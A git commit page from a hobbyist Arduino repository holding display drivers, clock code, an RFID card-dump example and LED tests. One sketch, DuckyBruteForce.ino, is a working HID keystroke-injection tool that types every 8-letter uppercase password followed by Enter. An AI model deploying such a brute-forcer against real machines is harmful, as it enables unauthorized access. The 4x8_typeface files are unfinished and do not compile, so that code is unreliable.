Browse Source

First Commit

master
Jacob Still 1 year ago
commit
e9e38b6c7a
  1. 108
      7-Segment-driver/7-Segment-driver.ino
  2. BIN
      Arduino IDE.lnk
  3. 259
      Clock/4x8_typeface.cpp
  4. 21
      Clock/4x8_typeface.h
  5. 23
      Clock/Clock.ino
  6. BIN
      Clock/Linux stuffs/Clock
  7. 49
      Clock/Linux stuffs/Clock.cpp
  8. 68
      DuckyBruteForce/DuckyBruteForce.ino
  9. 66
      DumpInfo/DumpInfo.ino
  10. 148
      HDSP-211X_Driver/HDSP-211X_Driver.ino
  11. 121
      HDSP-211X_Driver/Wordlist.txt
  12. 29
      Leonardo_DIP_test/Leonardo_DIP_test.ino
  13. 167
      MULTIPLEXINGTEST/MULTIPLEXINGTEST.ino
  14. 43
      MULTIPLEXINGTEST_BITSHIFT/MULTIPLEXINGTEST_BITSHIFT.ino
  15. 15
      MaliciousHW/MaliciousHW.ino
  16. 38
      Morse/Morse.ino
  17. 46
      RFID/RFID.ino
  18. 75
      RPIAutoReboot/RPIAutoReboot.ino
  19. 147
      Rubber_Ducky_Document_Stealer/Rubber_Ducky_Document_Stealer.ino
  20. 6
      Rubber_Ducky_Document_Stealer/desktop.ini
  21. 108
      Rubber_Ducky_Emulator/Rubber_Ducky_Emulator.ino
  22. 98
      Rubber_Ducky_RPIAutoBackup/Rubber_Ducky_RPIAutoBackup.ino
  23. 6
      Rubber_Ducky_RPIAutoBackup/desktop.ini
  24. 146
      Screen_Test/Screen_Test.ino
  25. 27
      Servo_Plotter/Servo_Plotter.ino
  26. 36
      Terminal/Terminal.ino/Terminal.ino.ino
  27. 38
      Text2Binary/Text2Binary.ino
  28. 189
      USBRubberDuckyMultiPayload/USBRubberDuckyMultiPayload.ino
  29. 74
      WebClient/WebClient.ino
  30. 31
      buysell/buysell.ino
  31. 225
      libraries/Adafruit_Circuit_Playground/Adafruit_CircuitPlayground.cpp
  32. 3
      libraries/Adafruit_Circuit_Playground/Adafruit_CircuitPlayground.h
  33. 156
      libraries/Adafruit_Circuit_Playground/Adafruit_Circuit_Playground.h
  34. 470
      libraries/Adafruit_Circuit_Playground/examples/Birthday_Candles/Birthday_Candles.ino
  35. 1249
      libraries/Adafruit_Circuit_Playground/examples/CircuitPlaygroundFirmata/CircuitPlaygroundFirmata.ino
  36. 56
      libraries/Adafruit_Circuit_Playground/examples/FidgetSpinner/FidgetSpinner.h
  37. 269
      libraries/Adafruit_Circuit_Playground/examples/FidgetSpinner/FidgetSpinner.ino
  38. 122
      libraries/Adafruit_Circuit_Playground/examples/FidgetSpinner/PeakDetector.h
  39. 23
      libraries/Adafruit_Circuit_Playground/examples/Hello_CircuitPlayground/Hello_Accelerometer/Hello_Accelerometer.ino
  40. 12
      libraries/Adafruit_Circuit_Playground/examples/Hello_CircuitPlayground/Hello_Blink/Hello_Blink.ino
  41. 30
      libraries/Adafruit_Circuit_Playground/examples/Hello_CircuitPlayground/Hello_Buttons/Hello_Buttons.ino
  42. 17
      libraries/Adafruit_Circuit_Playground/examples/Hello_CircuitPlayground/Hello_LightSensor/Hello_LightSensor.ino
  43. 25
      libraries/Adafruit_Circuit_Playground/examples/Hello_CircuitPlayground/Hello_NeoPixels/Hello_NeoPixels.ino
  44. 22
      libraries/Adafruit_Circuit_Playground/examples/Hello_CircuitPlayground/Hello_SlideSwitch/Hello_SlideSwitch.ino
  45. 17
      libraries/Adafruit_Circuit_Playground/examples/Hello_CircuitPlayground/Hello_SoundSensor/Hello_SoundSensor.ino
  46. 10
      libraries/Adafruit_Circuit_Playground/examples/Hello_CircuitPlayground/Hello_Speaker/Hello_Speaker.ino
  47. 20
      libraries/Adafruit_Circuit_Playground/examples/Hello_CircuitPlayground/Hello_Temperature/Hello_Temperature.ino
  48. 84
      libraries/Adafruit_Circuit_Playground/examples/Hello_CircuitPlayground/README.md
  49. 163
      libraries/Adafruit_Circuit_Playground/examples/Infrared_NeoPixel/Infrared_NeoPixel.ino
  50. 28
      libraries/Adafruit_Circuit_Playground/examples/Infrared_NeoPixel/adafruit_mini_codes.h
  51. 29
      libraries/Adafruit_Circuit_Playground/examples/Infrared_Read/Infrared_read.ino
  52. 66
      libraries/Adafruit_Circuit_Playground/examples/Infrared_Record/Infrared_Record.ino
  53. 33
      libraries/Adafruit_Circuit_Playground/examples/Infrared_Send/Infrared_Send.ino
  54. 107
      libraries/Adafruit_Circuit_Playground/examples/Infrared_Testpattern/Infrared_Testpattern.ino
  55. 205
      libraries/Adafruit_Circuit_Playground/examples/Microphone/mic_fft/mic_fft.ino
  56. 153
      libraries/Adafruit_Circuit_Playground/examples/Microphone/mic_meter/mic_meter.ino
  57. 68
      libraries/Adafruit_Circuit_Playground/examples/ScatchSensorBoard/ScratchSensorBoard.ino
  58. 209
      libraries/Adafruit_Circuit_Playground/examples/Speech/Talk_UK_Acorn/Talk_UK_Acorn.ino
  59. 73
      libraries/Adafruit_Circuit_Playground/examples/Speech/Talk_US_Clock/Talk_US_Clock.ino
  60. 444
      libraries/Adafruit_Circuit_Playground/examples/Speech/Talk_US_Large/Talk_US_Large.ino
  61. 243
      libraries/Adafruit_Circuit_Playground/examples/Speech/Talk_US_Male/Talk_US_Male.ino
  62. 400
      libraries/Adafruit_Circuit_Playground/examples/Speech/Talk_US_TI99/Talk_US_TI99.ino
  63. 48
      libraries/Adafruit_Circuit_Playground/examples/accelTap/accelTap.ino
  64. 137
      libraries/Adafruit_Circuit_Playground/examples/accel_mouse/accel_mouse.ino
  65. 83
      libraries/Adafruit_Circuit_Playground/examples/analog_sensors/analog_sensors.ino
  66. 60
      libraries/Adafruit_Circuit_Playground/examples/color_sense/color_sense.ino
  67. 1095
      libraries/Adafruit_Circuit_Playground/examples/comm_badge/coin.h
  68. 47
      libraries/Adafruit_Circuit_Playground/examples/comm_badge/comm_badge.ino
  69. 580
      libraries/Adafruit_Circuit_Playground/examples/comm_badge/trek.h
  70. 78
      libraries/Adafruit_Circuit_Playground/examples/demo/demo.ino
  71. 85
      libraries/Adafruit_Circuit_Playground/examples/mega_demo/CapTouchDemo.h
  72. 27
      libraries/Adafruit_Circuit_Playground/examples/mega_demo/Demo.h
  73. 40
      libraries/Adafruit_Circuit_Playground/examples/mega_demo/RainbowCycleDemo.h
  74. 65
      libraries/Adafruit_Circuit_Playground/examples/mega_demo/SensorDemo.h
  75. 66
      libraries/Adafruit_Circuit_Playground/examples/mega_demo/TiltDemo.h
  76. 182
      libraries/Adafruit_Circuit_Playground/examples/mega_demo/VUMeterDemo.h
  77. 120
      libraries/Adafruit_Circuit_Playground/examples/mega_demo/mega_demo.ino
  78. 171
      libraries/Adafruit_Circuit_Playground/examples/tachometer/tachometer.ino
  79. 194
      libraries/Adafruit_Circuit_Playground/examples/tachometer_led_display/tachometer_led_display.ino
  80. 206
      libraries/Adafruit_Circuit_Playground/examples/vu_meter/vu_meter.ino
  81. 9
      libraries/Adafruit_Circuit_Playground/library.properties
  82. 494
      libraries/Adafruit_Circuit_Playground/utility/Adafruit_CPlay_FreeTouch.cpp
  83. 428
      libraries/Adafruit_Circuit_Playground/utility/Adafruit_CPlay_FreeTouch.h
  84. 437
      libraries/Adafruit_Circuit_Playground/utility/Adafruit_CPlay_LIS3DH.cpp
  85. 152
      libraries/Adafruit_Circuit_Playground/utility/Adafruit_CPlay_LIS3DH.h
  86. 165
      libraries/Adafruit_Circuit_Playground/utility/Adafruit_CPlay_Mic.cpp
  87. 17
      libraries/Adafruit_Circuit_Playground/utility/Adafruit_CPlay_Mic.h
  88. 582
      libraries/Adafruit_Circuit_Playground/utility/Adafruit_CPlay_NeoPixel.cpp
  89. 163
      libraries/Adafruit_Circuit_Playground/utility/Adafruit_CPlay_NeoPixel.h
  90. 155
      libraries/Adafruit_Circuit_Playground/utility/Adafruit_CPlay_Sensor.h
  91. 153
      libraries/Adafruit_Circuit_Playground/utility/Adafruit_CPlay_Speaker.cpp
  92. 31
      libraries/Adafruit_Circuit_Playground/utility/Adafruit_CPlay_Speaker.h
  93. 824
      libraries/Adafruit_Circuit_Playground/utility/CP_Boards.h
  94. 668
      libraries/Adafruit_Circuit_Playground/utility/CP_Firmata.cpp
  95. 224
      libraries/Adafruit_Circuit_Playground/utility/CP_Firmata.h
  96. 197
      libraries/Adafruit_Circuit_Playground/utility/CPlay_CapacitiveSensor.cpp
  97. 230
      libraries/Adafruit_Circuit_Playground/utility/CPlay_CapacitiveSensor.h
  98. 30
      libraries/Adafruit_Circuit_Playground/utility/IRLibCPE.h
  99. 251
      libraries/Adafruit_Circuit_Playground/utility/IRLibCombo.h
  100. 182
      libraries/Adafruit_Circuit_Playground/utility/IRLibDecodeBase.cpp

108
7-Segment-driver/7-Segment-driver.ino

@ -0,0 +1,108 @@
#define DOT 5
#define TOP 8
#define TOPLEFT 9
#define TOPRIGHT 6
#define MIDDLE 10
#define BOTTOMLEFT 12
#define BOTTOMRIGHT 7
#define BOTTOM 11
void setup() {
pinMode(DOT, OUTPUT);
pinMode(TOP, OUTPUT);
pinMode(TOPLEFT, OUTPUT);
pinMode(TOPRIGHT, OUTPUT);
pinMode(MIDDLE, OUTPUT);
pinMode(BOTTOMLEFT, OUTPUT);
pinMode(BOTTOMRIGHT, OUTPUT);
pinMode(BOTTOM, OUTPUT);
}
void loop() {
for(int i=0; i<11; i++){
if(i == 0){
digitalWrite(TOP, HIGH);
digitalWrite(TOPLEFT, HIGH);
digitalWrite(TOPRIGHT, HIGH);
digitalWrite(BOTTOMLEFT, HIGH);
digitalWrite(BOTTOMRIGHT, HIGH);
digitalWrite(BOTTOM, HIGH);
}
if(i == 1){
digitalWrite(TOPRIGHT, HIGH);
digitalWrite(BOTTOMRIGHT, HIGH);
}
if(i == 2){
digitalWrite(TOP, HIGH);
digitalWrite(TOPRIGHT, HIGH);
digitalWrite(MIDDLE, HIGH);
digitalWrite(BOTTOMLEFT, HIGH);
digitalWrite(BOTTOM, HIGH);
}
if(i == 3){
digitalWrite(TOP, HIGH);
digitalWrite(TOPRIGHT, HIGH);
digitalWrite(MIDDLE, HIGH);
digitalWrite(BOTTOMRIGHT, HIGH);
digitalWrite(BOTTOM, HIGH);
}
if(i == 4){
digitalWrite(TOPRIGHT, HIGH);
digitalWrite(TOPLEFT, HIGH);
digitalWrite(MIDDLE, HIGH);
digitalWrite(BOTTOMRIGHT, HIGH);
}
if(i == 5){
digitalWrite(TOP, HIGH);
digitalWrite(TOPLEFT, HIGH);
digitalWrite(MIDDLE, HIGH);
digitalWrite(BOTTOMRIGHT, HIGH);
digitalWrite(BOTTOM, HIGH);
}
if(i == 6){
digitalWrite(TOP, HIGH);
digitalWrite(TOPLEFT, HIGH);
digitalWrite(MIDDLE, HIGH);
digitalWrite(BOTTOMLEFT, HIGH);
digitalWrite(BOTTOMRIGHT, HIGH);
digitalWrite(BOTTOM, HIGH);
}
if(i == 7){
digitalWrite(TOP, HIGH);
digitalWrite(TOPRIGHT, HIGH);
digitalWrite(BOTTOMRIGHT, HIGH);
}
if(i == 8){
digitalWrite(TOP, HIGH);
digitalWrite(TOPLEFT, HIGH);
digitalWrite(TOPRIGHT, HIGH);
digitalWrite(MIDDLE, HIGH);
digitalWrite(BOTTOMLEFT, HIGH);
digitalWrite(BOTTOMRIGHT, HIGH);
digitalWrite(BOTTOM, HIGH);
}
if(i == 9){
digitalWrite(TOP, HIGH);
digitalWrite(TOPLEFT, HIGH);
digitalWrite(TOPRIGHT, HIGH);
digitalWrite(MIDDLE, HIGH);
digitalWrite(BOTTOMRIGHT, HIGH);
digitalWrite(BOTTOM, HIGH);
}
if(i == 10){
digitalWrite(DOT, HIGH);
}
delay(500);
digitalWrite(DOT, LOW);
digitalWrite(TOP, LOW);
digitalWrite(TOPLEFT, LOW);
digitalWrite(TOPRIGHT, LOW);
digitalWrite(MIDDLE, LOW);
digitalWrite(BOTTOMLEFT, LOW);
digitalWrite(BOTTOMRIGHT, LOW);
digitalWrite(BOTTOM, LOW);
delay(500);
}
}

BIN
Arduino IDE.lnk

259
Clock/4x8_typeface.cpp

@ -0,0 +1,259 @@
#include "4x8_typeface.h"
void 4x8_text::set_offset_x(int x){
offset_x = x;
}
void 4x8_text::set_offset_y(int x){
offset_y = x;
}
// void 4x8_text::find_char();
void 4x8_text::init_display(){
pinMode(2, OUTPUT);
pinMode(3, OUTPUT);
pinMode(4, OUTPUT);
pinMode(5, OUTPUT);
pinMode(6, OUTPUT);
pinMode(7, OUTPUT);
pinMode(8, OUTPUT);
pinMode(9, OUTPUT);
pinMode(10, OUTPUT);
pinMode(11, OUTPUT);
pinMode(12, OUTPUT);
pinMode(13, OUTPUT);
pinMode(A0, OUTPUT);
pinMode(A1, OUTPUT);
pinMode(A2, OUTPUT);
pinMode(A3, OUTPUT);
}
void 4x8_text::led_set(uint8_t x, uint8_t y){
}
void 4x8_text::print_char(uint8_t char8){
bool 4x8_char[4][8] = {0};
switch(char8){
case 0x20: // Space
for(int x=0; x<4; x++){
for(int y=0; y<8; y++){
4x8_char[x][y] = 0;
}
}
break;
case 0x21 // !
break;
case 0x22 // "
break;
case 0x23 // #
break;
case 0x24 // $
break;
case 0x25 // %
break;
case 0x26 // &
break;
case 0x27 // '
break;
case 0x28 // (
break;
case 0x29 // )
break;
case 0x2A // *
break;
case 0x2B // +
break;
case 0x2C // ,
break;
case 0x2D // -
break;
case 0x2E // .
break;
case 0x2F // /
break;
case 0x30 // 0
for(int i=0; i<3; i++){
4x8_char[i][0] = 1;
4x8_char[i][1] = 1;
4x8_char[i][5] = 1;
4x8_char[i][6] = 1;
}
4x8_char[0][2] = 1;
4x8_char[0][3] = 1;
4x8_char[0][4] = 1;
4x8_char[2][2] = 1;
4x8_char[2][3] = 1;
4x8_char[2][4] = 1;
break;
case 0x31 // 1
4x8_char[0][1] = 1;
4x8_char[0][6] = 1;
4x8_char[1][6] = 1;
4x8_char[2][6] = 1;
for(int i=0; i<7; i++){
4x8_char[1][i] = 1;
}
break;
case 0x32 // 2
break;
case 0x33 // 3
break;
case 0x34 // 4
break;
case 0x35 // 5
break;
case 0x36 // 6
break;
case 0x37 // 7
break;
case 0x38 // 8
break;
case 0x39 // 9
break;
case 0x3A // :
break;
case 0x3B // ;
break;
case 0x3C // <
break;
case 0x3D // =
break;
case 0x3E // >
break;
case 0x3F // ?
break;
case 0x40 // @
break;
case 0x41 // A
break;
case 0x42 // B
break;
case 0x43 // C
break;
case 0x44 // D
break;
case 0x45 // E
break;
case 0x46 // F
break;
case 0x47 // G
break;
case 0x48 // H
break;
case 0x49 // I
break;
case 0x4A // J
break;
case 0x4B // K
break;
case 0x4C // L
break;
case 0x4D // M
break;
case 0x4E // N
break;
case 0x4F // O
break;
case 0x50 // P
break;
case 0x51 // Q
break;
case 0x52 // R
break;
case 0x53 // S
break;
case 0x54 // T
break;
case 0x55 // U
break;
case 0x56 // V
break;
case 0x57 // W
break;
case 0x58 // X
break;
case 0x59 // Y
break;
case 0x5A // Z
break;
case 0x5B // [
break;
case 0x5C // \
break;
case 0x5D // ]
break;
case 0x5E // ^
break;
case 0x5F // _
break;
case 0x60 // `
break;
case 0x61 // a
break;
case 0x62 // b
break;
case 0x63 // c
break;
case 0x64 // d
break;
case 0x65 // e
break;
case 0x66 // f
break;
case 0x67 // g
break;
case 0x68 // h
break;
case 0x69 // i
break;
case 0x6A // j
break;
case 0x6B // k
break;
case 0x6C // l
break;
case 0x6D // m
break;
case 0x6E // n
break;
case 0x6F // o
break;
case 0x70 // p
break;
case 0x71 // q
break;
case 0x72 // r
break;
case 0x73 // s
break;
case 0x74 // t
break;
case 0x75 // u
break;
case 0x76 // v
break;
case 0x77 // w
break;
case 0x78 // x
break;
case 0x79 // y
break;
case 0x7A // z
break;
case 0x7B // {
break;
case 0x7C // |
break;
case 0x7D // }
break;
case 0x7E // ~
break;
default:
break;
}
}
4x8_text::4x8_text(){
offset_y = 0;
offset_x = 0;
}

21
Clock/4x8_typeface.h

@ -0,0 +1,21 @@
#ifndef __4X8_TYPEFACE_H__
#define __4X8_TYPEFACE_H__
class 4x8_text{
private:
int offset_x;
int offset_y:
public:
void set_offset_x(int);
void set_offset_y(int);
// void find_char(uint8_t);
void init_display();
void led_set_on(uint8_t x, uint8_t y);
void led_set_off(uint8_t x, uint8_t y);
void print_char(uint8_t char8);
4x8_text();
};
#endif

23
Clock/Clock.ino

@ -0,0 +1,23 @@
char get_l;
char tim[8];
int count =0;
void dispt(char tim[8]){
}
void setup(){
Serial.begin(9600);
}
void loop(){
if(Serial.available()){
get_l = Serial.read();
tim[count] = get_l;
count++;
}
if(count == 8){
count = 0;
}
dispt(tim);
}

BIN
Clock/Linux stuffs/Clock

49
Clock/Linux stuffs/Clock.cpp

@ -0,0 +1,49 @@
#include <iostream>
#include <iomanip>
#include <fstream>
#include <chrono>
#include <thread>
#define SCREEN 1
using namespace std;
void printt(){
// Get the time
time_t timz = time(0);
tm *theTime = localtime(&timz);
int hr = theTime->tm_hour;
// Print to serial
ofstream srlclk;
srlclk.open("/dev/ttyUSB0");
if(hr > 12){
srlclk << right << setfill('0') << setw(2) << hr-12;
}else{
srlclk << hr;
}
srlclk << ':' << right << setfill('0') << setw(2) << theTime->tm_min << ':' << right << setfill('0') << setw(2) << theTime->tm_sec << '\n';
srlclk.close();
// if(SCREEN){
// if(hr > 12){
// cout << right << setfill('0') << setw(2) << hr-12;
// }else{
// cout << hr;
// }
// cout << ':' << right << setfill('0') << setw(2) << theTime->tm_min << ':' << right << setfill('0') << setw(2) << theTime->tm_sec << '\n';
// }
}
int main(){
using namespace std::this_thread; // sleep_for, sleep_until
using namespace std::chrono; // nanoseconds, system_clock, seconds
while(1){
printt();
sleep_until(system_clock::now() + seconds(1));
}
}

68
DuckyBruteForce/DuckyBruteForce.ino

@ -0,0 +1,68 @@
#include "Keyboard.h"
//int start = 33;
int start = 65;
//int end = 126;
int end = 90;
void typeKey(int key){
Keyboard.press(key);
//delay(10);
Keyboard.release(key);
}
void bruteFOR(int start, int end){
for(int q=start; q<=end; q++){
for(int w=start; w<=end; w++){
for(int e=start; e<=end; e++){
for(int r=start; r<=end; r++){
for(int t=start; t<=end; t++){
for(int y=start; y<=end; y++){
for(int u=start; u<=end; u++){
for(int i=start; i<=end; i++){
typeKey(q);
typeKey(w);
typeKey(e);
typeKey(r);
typeKey(t);
typeKey(y);
typeKey(u);
typeKey(i);
typeKey(KEY_RETURN);
digitalWrite(13, HIGH);
delay(1000);
typeKey(KEY_RETURN);
delay(1000);
digitalWrite(13, LOW);
}
}
}
}
}
}
}
}
}
void setup(){
String dip = "";
pinMode(6, INPUT_PULLUP);
pinMode(7, INPUT_PULLUP);
pinMode(8, INPUT_PULLUP);
pinMode(9, INPUT_PULLUP);
pinMode(13, OUTPUT);
if(digitalRead(6) == LOW){dip += "1";}else{dip += "0";}
if(digitalRead(7) == LOW){dip += "1";}else{dip += "0";}
if(digitalRead(8) == LOW){dip += "1";}else{dip += "0";}
if(digitalRead(9) == LOW){dip += "1";}else{dip += "0";}
Keyboard.begin();
delay(750);
if(dip == "0001"){
bruteFOR(start, end);
}
Keyboard.end();
}
void loop(){
}

66
DumpInfo/DumpInfo.ino

@ -0,0 +1,66 @@
/*
* --------------------------------------------------------------------------------------------------------------------
* Example sketch/program showing how to read data from a PICC to serial.
* --------------------------------------------------------------------------------------------------------------------
* This is a MFRC522 library example; for further details and other examples see: https://github.com/miguelbalboa/rfid
*
* Example sketch/program showing how to read data from a PICC (that is: a RFID Tag or Card) using a MFRC522 based RFID
* Reader on the Arduino SPI interface.
*
* When the Arduino and the MFRC522 module are connected (see the pin layout below), load this sketch into Arduino IDE
* then verify/compile and upload it. To see the output: use Tools, Serial Monitor of the IDE (hit Ctrl+Shft+M). When
* you present a PICC (that is: a RFID Tag or Card) at reading distance of the MFRC522 Reader/PCD, the serial output
* will show the ID/UID, type and any data blocks it can read. Note: you may see "Timeout in communication" messages
* when removing the PICC from reading distance too early.
*
* If your reader supports it, this sketch/program will read all the PICCs presented (that is: multiple tag reading).
* So if you stack two or more PICCs on top of each other and present them to the reader, it will first output all
* details of the first and then the next PICC. Note that this may take some time as all data blocks are dumped, so
* keep the PICCs at reading distance until complete.
*
* @license Released into the public domain.
*
* Typical pin layout used:
* -----------------------------------------------------------------------------------------
* MFRC522 Arduino Arduino Arduino Arduino Arduino
* Reader/PCD Uno/101 Mega Nano v3 Leonardo/Micro Pro Micro
* Signal Pin Pin Pin Pin Pin Pin
* -----------------------------------------------------------------------------------------
* RST/Reset RST 9 5 D9 RESET/ICSP-5 RST
* SPI SS SDA(SS) 10 53 D10 10 10
* SPI MOSI MOSI 11 / ICSP-4 51 D11 ICSP-4 16
* SPI MISO MISO 12 / ICSP-1 50 D12 ICSP-1 14
* SPI SCK SCK 13 / ICSP-3 52 D13 ICSP-3 15
*/
#include <SPI.h>
#include <MFRC522.h>
constexpr uint8_t RST_PIN = 5; // Configurable, see typical pin layout above
constexpr uint8_t SS_PIN = 10; // Configurable, see typical pin layout above
MFRC522 mfrc522(SS_PIN, RST_PIN); // Create MFRC522 instance
void setup() {
Serial.begin(9600); // Initialize serial communications with the PC
while (!Serial); // Do nothing if no serial port is opened (added for Arduinos based on ATMEGA32U4)
SPI.begin(); // Init SPI bus
mfrc522.PCD_Init(); // Init MFRC522
mfrc522.PCD_DumpVersionToSerial(); // Show details of PCD - MFRC522 Card Reader details
Serial.println(F("Scan PICC to see UID, SAK, type, and data blocks..."));
}
void loop() {
// Look for new cards
if ( ! mfrc522.PICC_IsNewCardPresent()) {
return;
}
// Select one of the cards
if ( ! mfrc522.PICC_ReadCardSerial()) {
return;
}
// Dump debug info about the card; PICC_HaltA() is automatically called
mfrc522.PICC_DumpToSerial(&(mfrc522.uid));
}

148
HDSP-211X_Driver/HDSP-211X_Driver.ino

@ -0,0 +1,148 @@
#define WRTDSP 2
#define DISD0 3
#define DISD6 9
#define DISA0 10
#define DISA2 12
#define RST 13
#define HRFMT 12
#define SETTIME 12:00
void displayWrite(const char myChar[]){
char tmp;
int tmpin;
for(int i=0; i<8; i++){
tmp = myChar[i];
tmpin = i;
// Set Address
for(int pin=DISA0; pin<=DISA2; pin++){
digitalWrite(pin, tmpin & 1);
tmpin = tmpin >> 1;
}
// Set Data
for(int pin=DISD0; pin<=DISD6; pin++){
digitalWrite(pin, tmp & 1);
tmp = tmp >> 1;
}
// Write Data
digitalWrite(WRTDSP, LOW);
digitalWrite(WRTDSP, HIGH);
}
}
void scrollText(const char myChar[]){
char tmp[8];
for(int i=0; i<28; i++){
for(int w=0; w<8; w++){
tmp[w] = myChar[w+i];
}
displayWrite(tmp);
delay(115);
}
}
char timeTmp[8] = {" 00:00 "};
int hr = 0;
void setup(){
pinMode(RST, OUTPUT);
digitalWrite(RST, LOW); // Hold LOW till ready to display
pinMode(WRTDSP, OUTPUT);
digitalWrite(WRTDSP, HIGH);
for(int pin=DISD0; pin<=DISD6; pin++){
pinMode(pin, OUTPUT);
}
for(int pin=DISA0; pin<=DISA2; pin++){
pinMode(pin, OUTPUT);
}
digitalWrite(RST, HIGH);
displayWrite(" ");
delay(1000);
displayWrite("= ");
delay(400);
displayWrite("== ");
delay(500);
displayWrite("=== ");
delay(450);
displayWrite("==== ");
delay(400);
displayWrite("===== ");
delay(400);
displayWrite("====== ");
delay(550);
displayWrite("======= ");
delay(600);
displayWrite("========");
delay(450);
displayWrite("--------");
delay(700);
displayWrite(" ");
if(HRFMT == 12){
timeTmp[1] = '1';
timeTmp[2] = '2';
}
if(HRFMT == 24){
timeTmp[1] = '0';
timeTmp[2] = '0';
}
}
void loop(){
if(HRFMT == 12){
if(hr > 12){
timeTmp[6] = 'p';
}else{
timeTmp[6] = 'a';
}
}
displayWrite(timeTmp);
timeTmp[5]++;
if(timeTmp[5] > 57){
timeTmp[5] = 48;
timeTmp[4]++;
}
if(timeTmp[4] > 53){
timeTmp[4] = 48;
timeTmp[2]++;
hr++;
}
if(timeTmp[2] > 57){
timeTmp[2] = 48;
timeTmp[1]++;
}
if(HRFMT == 24){
if(timeTmp[1] == 50){
if(timeTmp[2] > 51){
timeTmp[2] = 48;
timeTmp[1] = 48;
}
}
}else{
if(timeTmp[1] == 49){
if(timeTmp[2] > 50){
timeTmp[2] = 49;
timeTmp[1] = 48;
}
}
}
if(hr > 23){
hr = 0;
}
delay(60000);
}

121
HDSP-211X_Driver/Wordlist.txt

@ -0,0 +1,121 @@
********
handsel
eclectic
paradigm
demotic
malinger
behest
venal
boycott
clement
liaison
farouche
mayhem
abandon
dossier
sandbag
galumph
repartee
immure
lunette
zibeline
nidus
vitiate
epitome
frenetic
solstice
assuage grinch benison utmost enervate canorous fulcrum obdurate hark
back
verbose
connive
sinew
gridiron
mordant
umbrage
palmary
furlong
valorous
admonish
memento
chapel
henchman
perforce
noisome
quirk
yahoo
betwixt
ritzy
dram
cloister
gloaming
Occident
Luddite
emblazon
quip
nary
linchpin
rebuff
brouhaha
mawkish
holy
writ
shambles
coeval
mentor
banshee
quiddity
schmooze
fathom
advert
chiliad
lenitive
atone
milieu
panoply
biannual
glade
secrete
orotund
nocuous
agog
pacify
slimsy
bereft
mufti
fungible
debunk
weald
rash
lapidary
orgulous
gaffer
volatile
thwart
satiety
cerulean
exigent
oblige
marshal jaunty puissant rubric lodestar taciturn duress
métier nimiety gumption obviate salvo halcyon paste acolyte languid behemoth inchmeal reticent curfew gloss musket
ingenue whelm roseate abrogate epithet mantic quail balmy voracity skirl effigy amortize kaput bedizen tome lambaste beaucoup decimate jocose otiose nascent layman aggress winsome besot raillery petard cajole riposte arrogate flummox chastise
cuckoo abide career veld reify bastion kitsch defer aegis succinct founder headlong bloviate grudging traduce cathexis loath slew anathema redolent chivalry
agon cursory rabble scarify meander scilicet Croesus laudable anent uncanny farce hachure yegg cadre vanward bravado delegate parlous divest tucket blench spavined carp embargo mnemonic recuse adust nuts frolic nebbish yuppify biddable sanguine plangent meld validate exegesis
fete bindle
stiff
vapid
gainsay
cohort
placate
stanch
demiurge
intrepid
adapt
famish
trammel
bespoke
leonine
contrite
nebulous
popinjay
tincture
irrupt

29
Leonardo_DIP_test/Leonardo_DIP_test.ino

@ -0,0 +1,29 @@
String dip = "";
void setup() {
Serial.begin(9600);
dip = "";
pinMode(6, INPUT_PULLUP);
pinMode(7, INPUT_PULLUP);
pinMode(8, INPUT_PULLUP);
pinMode(9, INPUT_PULLUP);
if(digitalRead(6) == LOW){dip += "1";}else{dip += "0";}
if(digitalRead(7) == LOW){dip += "1";}else{dip += "0";}
if(digitalRead(8) == LOW){dip += "1";}else{dip += "0";}
if(digitalRead(9) == LOW){dip += "1";}else{dip += "0";}
Serial.println(dip);
}
void loop() {
dip = "";
if(digitalRead(6) == LOW){dip += "1";}else{dip += "0";}
if(digitalRead(7) == LOW){dip += "1";}else{dip += "0";}
if(digitalRead(8) == LOW){dip += "1";}else{dip += "0";}
if(digitalRead(9) == LOW){dip += "1";}else{dip += "0";}
Serial.println(dip);
delay(1000);
}

167
MULTIPLEXINGTEST/MULTIPLEXINGTEST.ino

@ -0,0 +1,167 @@
void ledOn(int led){
switch(led){
case 0:
digitalWrite(9, LOW);
digitalWrite(7, LOW);
digitalWrite(5, LOW);
digitalWrite(3, LOW);
break;
case 1:
digitalWrite(9, LOW);
digitalWrite(3, LOW);
digitalWrite(7, HIGH);
digitalWrite(5, HIGH);
break;
case 2:
digitalWrite(3, LOW);
digitalWrite(7, LOW);
digitalWrite(5, HIGH);
digitalWrite(9, HIGH);
break;
case 3:
digitalWrite(9, LOW);
digitalWrite(5, LOW);
digitalWrite(7, HIGH);
digitalWrite(3, HIGH);
break;
case 4:
digitalWrite(7, LOW);
digitalWrite(5, LOW);
digitalWrite(9, HIGH);
digitalWrite(3, HIGH);
break;
}
}
void setup() {
pinMode(13, OUTPUT);
digitalWrite(13, HIGH);
pinMode(9, OUTPUT);
pinMode(7, OUTPUT);
pinMode(5, OUTPUT);
pinMode(3, OUTPUT);
digitalWrite(9, LOW);
digitalWrite(7, LOW);
digitalWrite(5, LOW);
digitalWrite(3, LOW);
}
int multiplier = 5;
void loop() {
// put your main code here, to run repeatedly:
for(int i=0; i<100 * multiplier; i++){
ledOn(1);
delay(1);
}
for(int i=0; i<100 * multiplier; i++){
ledOn(2);
delay(1);
}
for(int i=0; i<100 * multiplier; i++){
ledOn(3);
delay(1);
}
for(int i=0; i<100 * multiplier; i++){
ledOn(4);
delay(1);
}
//--------
for(int i=0; i<50 * multiplier; i++){
ledOn(1);
delay(1);
ledOn(2);
delay(1);
}
for(int i=0; i<50 * multiplier; i++){
ledOn(1);
delay(1);
ledOn(3);
delay(1);
}
for(int i=0; i<50 * multiplier; i++){
ledOn(4);
delay(1);
ledOn(2);
delay(1);
}
for(int i=0; i<50 * multiplier; i++){
ledOn(4);
delay(1);
ledOn(3);
delay(1);
}
//--------
for(int i=0; i<50 * multiplier; i++){
ledOn(1);
delay(1);
ledOn(4);
delay(1);
}
for(int i=0; i<50 * multiplier; i++){
ledOn(2);
delay(1);
ledOn(3);
delay(1);
}
//--------
for(int i=0; i<33 * multiplier; i++){
ledOn(1);
delay(1);
ledOn(2);
delay(1);
ledOn(3);
delay(1);
}
for(int i=0; i<33 * multiplier; i++){
ledOn(1);
delay(1);
ledOn(3);
delay(1);
ledOn(4);
delay(1);
}
for(int i=0; i<33 * multiplier; i++){
ledOn(2);
delay(1);
ledOn(3);
delay(1);
ledOn(4);
delay(1);
}
for(int i=0; i<33 * multiplier; i++){
ledOn(1);
delay(1);
ledOn(2);
delay(1);
ledOn(4);
delay(1);
}
//--------
for(int i=0; i<25 * multiplier; i++){
ledOn(1);
delay(1);
ledOn(2);
delay(1);
ledOn(3);
delay(1);
ledOn(4);
